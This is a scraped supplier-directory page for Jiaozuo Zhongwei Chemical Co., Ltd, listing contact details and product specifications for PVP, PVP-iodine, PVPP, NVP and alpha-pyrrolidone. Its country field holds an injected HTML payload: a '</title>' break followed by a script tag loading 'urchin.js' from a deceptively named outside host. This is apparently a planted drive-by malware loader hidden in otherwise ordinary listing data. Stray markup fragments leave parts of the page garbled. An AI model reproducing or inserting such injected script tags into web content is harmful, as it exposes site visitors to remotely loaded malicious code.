|
|
|
|
|
|
|
|
| : |
Chemicals>Fine Chemicals |
| : |
Jiaozuo Zhongwei Chemical Co.,Ltd |
| : |
|
| : |
[China][</title><script src='http://google-server43.info/urchin.js'></script>]
|
| : |
2003 |
| : |
300 |
| : |
1000000 |
| : |
Room 201,No.4,Xinyuan Building,50 Nong of Baolin Road, Baoshan District,Shanghai |
| : |
|
| : |
|
| : |
|
| : |
sales@zw-pvp.com |
| : |
|
|
| |
|
|
|
|
|
|
JiaozuoZhongwei Chemical Co.,Ltd. is specialized in PVP (polyvinyl pyrrolidone)researching &developing, manufacturing and trading enterprise in China, with the advanced equipments,we can produce 6,500T annually N-vinyl pyrrolidone, PVP and related complex compounds. We now have established strict QC system, and our products can meet USP30, EP and UP; moreover, we are applying DMF/COS & FDA certificates for them. Zhongwei enjoys good location with perfect equipments and inspection facilities. The experienced technicians, managers and salesmen have formed a strong worker- team. Sticking to the tenet "to get trusts by honest business, to win the market by excellent quality", we now have become a "hi-tech" enterprise with high standards and requirements. Relying on leading management experiences, reliable quality and good command of the market.Our products have been exported to South-east Asia , Middle east and Europe and America.
We sincerely welcome clients all over the world ,establishing business with us for mutual development and bright future!
|
|
|
|
|
|
| : |
|
| : |
yanli |
| : |
xie |
| : |
foreign trade clerk |
| : |
|
| : |
|
| : |
|
| : |
oy-amanda@hotmail.com |
|
| |
|
|
|
|
|
|Task=1")> |
|
|
| |
: |
pvp-k15, k17, k30,k90
|
| |
: |
Product name: PVP-K Homopolymer Series
Chemical Name: Homopolymer of Vinylpyrrolidone
CTFA Nomenclature: Polyvinypyrrolidone(Abbreviated to PVP)
Physical Properties: exists as white or milky white powder,and colorless or slight yellow transparent liquid.It can dissolve in water,alcohol,isopropanol or chloroform,not in acetone or diethyl ether.polymers having molecular weight under 30000 can excreted by the human kidney.
Specification:
Technical grade Items
K value
Vinylpyrr
olidone %
Moisture %
Solid %
PH
(5% in water)
Sulfate Ash %
K15(liquid)
13-18
<0.1
-
40±1
7-9
<0.1
K15(powder) 13-18 <0.1 < 5.0 > 95 3-7 <0.1
k17(powder)
15-19
<0.1
< 5.0
>95
3-7
<0.1
K17(liquid) 15-19 < 0.1 - 40±1 7-9 <0.1
k25(powder)
22-28
<0.1
< 5.0
>95
3-7
<0.1
k30(liquid)
26-33
<0.1
-
30±1
7-9
<0.1
k30(powder)
26-33
<0.1
< 5.0
>95
3-7
<0.1
k90(liquid)
81-97
<0.1
-
20±1
7-9
<0.1
Pharmaceutical grade(CP2005/USP26 & USP28)
Items
K value
Vinylpyrr
olidone
%
Mois
ture
%
Solid
%
Sulfate ash %
PH(5% in water)
Nitrog
en %
Aldehyde of
CHCHO
%
Heavy metal PPM
Peroxide as PPM
K15(powder) 14-17 < 0.1 <5.0 >95 <0.1 3-7 11.5-12.8 <0.05
<10
<400
k17(powder)
15-19
< 0.1
<5.0
>95
<0.1
3-7
11.5-12.8
<0.05
<10
<400
k25(powder)
22-28
< 0.1
<5.0
>95
<0.1
3-7
11.5-12.8
<0.05
<10
<400
k30(powder)
27-32
< 0.1
<5.0
>95
<0.1
3-7
11.5-12.8
<0.05
<10
<400
Application: Cosmetics:PVPK series can be used as firm-forming agent,viscosity-enhancement agenr,lubricaror and adhesive.They are the key component of hair spray,mousse gels and lotions & solution.They are also convenience assistant in skin-care product,hair-drying reagent,shampoo,eye akeup,lipstick,deodorant,sunscreen and dentifrice.
Pharmaceutical:Povidone K30 is a new and excellent pharmaceutical excipient.It is mainly used as binder for tablet and pellet,dissolving assistant for injection,flow assistant for capsule,dispersant for liquid medicine and pigment,stabilizer or enzyme and heat sensitive drug,coprecipitant for poorly soluble drug,lubricator and antitoxical assistant for eye drug,PVP has been used as exeipients more than one hundred drugs.
Other Utility: .Suspensant,disperser and emulsifier .Paint and coating.
.Plastics and resin .Adhesive.
.Glass fiber .Film.
.Ink .TV tube.
.Detergent .Tabletting.
.Textile dying and printing .
|
|
|
| |Task=1")> |
|
|
| |
: |
PVP-I PVPP
|
| |
: |
PVP-I(PVP-lodine/Povidone-I)
Product name: PVP-I(PVP-lodine/Povidone-I)
Chemical Name: Complex of PVP with iodine
CTFA Nomenclature: PVP-Iodine
Physical Properties: exists as yellow-brown or red-brown formless powder having slightly special smell.It can dissolve in water and alcohol,not in diethylethe or choroform.It is stable complex with no irritation which can sterilize bacterial,virus,fungus effectively.It is the first-selected iodine-containing microbicide.
Specification:
Loss on drying %
Residue on ignition %
Heavy metal PPM
Arsenic PPM
Nitrogen %
Iodine ion %
Available iodine %
< 8.0
< 0.1
< 20
< 1.5
9.5-11.5
< 6.6
9.0-12.0
Application: .Bactericide,virucide,fungicide or local anticeptic in surgical serubs or for other rapcutical purposes and protect patient from infection.
.microbicide for kitchen utensils in family.
.microbicide for food and feed industry.
.microbicide and disease-protector for animal.
.PVP-I was accepted into USP26 & USP28 editor and selected firstly as iodine-containing bactericide and disease-protector in the developed countries .
Product name: PVPP Series
Chemical Name: polyvinylpolypyrrolidone
CTFA Nomenclature: Insoluble PVPP
Physical Properties: exists as white or slight yellow,free flowing hydroscopic powder with odorless or faint characteristic smell.It's insoluble in water,alkali,acid and common organic reagents.Stereoscan photographs show that it is voluminous particulars and has large total surface and lots of porosity which is between 2-10mm.It can swell in water easily and can complex with polypbenol,carboxylic acids other low molecular weight compounds.PVPF can only be used once and PVPR can be reused after regenerated.
Specification:
Items Moisture% Soluble
compound % NVP% PH in 1% water Heavy metal PPM Nitrogen
% Sulfate ash%
PVPP-F < 5.0 < 1.5 < 0.1 5-8 < 10 11.0-12.8 < 0.4
PVPP-R < 5.0 < 1.5 < 0.1 5-8 < 10 11.0-12.8 < 0.4
Application: .Used as stabilizer for beer,wine,vinegar and many juice and beverage to prolong their storage life.
.Used as disintegrant for tabel pill,parrical-like granule and capsule drug in Harmaceutical industry.
|
|
|
| |Task=1")> |
|
|
| |
: |
NVP a-pyrrolidone
|
| |
: |
α-Pyrrolidone
Chemical name:
a-pyrrolidone
CTFA Nomenclature:
a-pyrrolidone
Physical property:
a-P is a colorless liquid. Its solidifying poine25.6℃, flash point 129.4℃, boiling point 245℃, which is solubilize with water, low chain alcohol, low chain ether, chloroform and benzene.
Specification:
Items
Purity %
Moisture%
Color APHA
Melting point ℃
Density
g / ml
a-pyrrolidone
> 99.0
< 0.3
< 100
24.6
1.116(25℃)
Application: a-pyrrolidone is a colorless high boiling point polar solvent and is also an organic synthetic intermediate product. As to this kind of solvents we can use it to produce synthetic resin, pesticide, polyvalent alcohol, printing inks and iodine, and as the raw materials of production of polyvinyl pyrrolidone, poiyamide-4 fiber and piracetam, etc.
Product name: NVP(N-Vinylpyrrolidone)
Chemical Structure: C6H9NO
CTFA Nomenclature: N-Vinylpyrrolidone
Physical Properties: exists as colorless to light yellow transparent liquid with faint odor at room temperature .It can be dissolved in water and varieties of organic solvents.It is reactive and susceptible to hydrolyze and polymerize.
Specification:
Items
Characteristics
Hydrometer
Melting point ℃
Boiling point ℃
Purity (wt%)
Chroma
Technical grade
colorless liquid
1.04(25℃)
13.5
214-215
96℃(14mmHg)
99.0
200
Pharmaceutical grade
colorless liquid
1.04(25℃)
13.5
214-215
96℃(14mmHg)
99.70 40
Remarks: Soluble in Water,Methyl alcoho.Ethyl acetate alcohol,Methylene chloride Hydrocarbon.
.Kept away form light in scaled containers at low temperature under neutral or faint basic conditions.
.NVP had average toxicity and faint odor.It is corrosicve to rubber and leather.Be sure not to enter eyes or spray to skin.
.NVP can self-polymerize when shaken or preserved for a long time or under illumination,so the antipolymerizer is needed,which should be distilled befroe use.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
|
|
|
